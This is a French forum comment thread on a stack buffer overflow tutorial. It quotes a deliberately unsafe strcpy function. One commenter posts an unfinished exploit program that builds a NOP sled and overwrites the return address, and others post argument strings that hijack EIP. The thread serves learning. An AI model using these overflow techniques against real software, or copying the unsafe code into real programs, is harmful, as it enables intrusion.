UN BUFFEROVERRUN : LE DÉBORDEMENT DE PILE

cs_Xs Messages postés 368 Date d'inscription mercredi 14 novembre 2001 Statut Membre Dernière intervention 1 septembre 2008 - 22 févr. 2004 à 12:27
ironzorg Messages postés 45 Date d'inscription samedi 20 mai 2006 Statut Membre Dernière intervention 27 juin 2008 - 8 juin 2008 à 10:51
Cette discussion concerne un article du site. Pour la consulter dans son contexte d'origine, cliquez sur le lien ci-dessous.

https://codes-sources.commentcamarche.net/source/20666-un-bufferoverrun-le-debordement-de-pile

ironzorg Messages postés 45 Date d'inscription samedi 20 mai 2006 Statut Membre Dernière intervention 27 juin 2008
8 juin 2008 à 10:51
Corrige ta description:
"le point de départ est ce petit code :
void MalEcrite(const char* input)
{
char buf[10];// ce buffer est limité à 10 caractères, soient 9 utiles !
//copions tout ce qui se présente sans contrôle ... copieusement quoi !
strcpy(buf, input);
printf("voici mon buffer :\n%s\n\n", buf);
}"
cs_algori Messages postés 868 Date d'inscription dimanche 26 décembre 2004 Statut Membre Dernière intervention 26 février 2008 1
23 juin 2006 à 14:19
excellente source. J'ai appris plein de choses
cs_h4x0r Messages postés 3 Date d'inscription samedi 13 mars 2004 Statut Membre Dernière intervention 12 avril 2004
12 avril 2004 à 00:22
g trouver mon erreur.. EIP doit pointer vers EBP au crash time... enfin
cs_h4x0r Messages postés 3 Date d'inscription samedi 13 mars 2004 Statut Membre Dernière intervention 12 avril 2004
13 mars 2004 à 18:31
ton buf peut contenir 16 caractere car le processeur travail avec des MOTS, enfin... petit detail....a +
cs_h4x0r Messages postés 3 Date d'inscription samedi 13 mars 2004 Statut Membre Dernière intervention 12 avril 2004
13 mars 2004 à 18:19
bon maintenant il rest juste a faire un exploit ;)
moi g un ti problem avec le mien je fait pointer EIP vers ESP mais je recois toujours une erreure de BO et il execute pas mon shell-code

#include <stdio.h>
#define BUFFSIZE 32

char shellcode[]="\x90\x90";
char ret[]="\x46\x12\x40";

int main(int argc, char *argv[])
{
char buffer[70];
int len,i,size,retlen,SIZE;
size = strlen(shellcode);
len = BUFFSIZE - size;
retlen = strlen(ret);

for(i=0;i<=len;i++){
buffer[i] = '\x90';
}

for(i=0;i<=size;i++){
buffer[i + len] = shellcode[i];
}
for(i=0;i<=4;i++){
buffer[i + len + size] = '\x90' ;
}

for(i=0;i<=4;i++){
buffer[i + len + size + 4] = ret[i];
}

printf("%s",buffer);

getchar();
return 0;
}
bon ok g changer mon shell-code pour des NOPs mais bon ca ne marche pas quand meme ....helpp
cs_Xs Messages postés 368 Date d'inscription mercredi 14 novembre 2001 Statut Membre Dernière intervention 1 septembre 2008
22 févr. 2004 à 15:15
J'utilise VC++ SP5 avec le processor pack installé sous win2k sp5(ntfs)
Lors de mon premier message, mes options d'optimisations étaient sur "maximize speed".

A présent, j'ai coché "disable (debug)" ("défaut" ne me donne rien).
Et la j'ai du faire d'autres modifications dans le fichier 03....vbs :

arg = "123456789123456" & chr(&h50) & chr(&h10) & chr(&h40)
passe a
arg "1234567891234567" & chr(&h45) & chr(&h10) & chr(&h40)
> adresse de Sortie a changée.

J'avoue ne pas comprendre le pourquoi du comment de ces changements.

Sinon, une question me tracasse :
- Pourquoi l'adresse de Sortie() est-elle censé etre la meme partout (avec les memes options de compil' elle est identique sur tous les pcs fonctionnant sous win32) ?

merci
cs_vieuxLion Messages postés 455 Date d'inscription samedi 26 octobre 2002 Statut Membre Dernière intervention 6 avril 2004 8
22 févr. 2004 à 14:30
j'obtiens des résultats corrects pour VC++6 et VC++7
Options d'optimisations "disabled"
quel compilateur utilise tu?
cs_Xs Messages postés 368 Date d'inscription mercredi 14 novembre 2001 Statut Membre Dernière intervention 1 septembre 2008
22 févr. 2004 à 12:27
Salut !!

Excellente source pour comprendre le fonctionnement de la pile sans faire appel a un desasm !

Mais j'ai personnellement du modifié la ligne de 03_execsortie.vbs "arg" par une a moi :

arg = "123456789123" & chr(&h50) & chr(&h10) & chr(&h40)

La ca "marche bien". J'ai juste remarqué que comparéé à la "phrase" originale, il y avait 3 caracteres en moins (4,5,6).
J'avoue ne pas trop comprendre pourquoi ce sont les carateres 4,5,6 qui prennent la place de EIP et non 7,8,9

Pouquoi ?

merci
Rejoignez-nous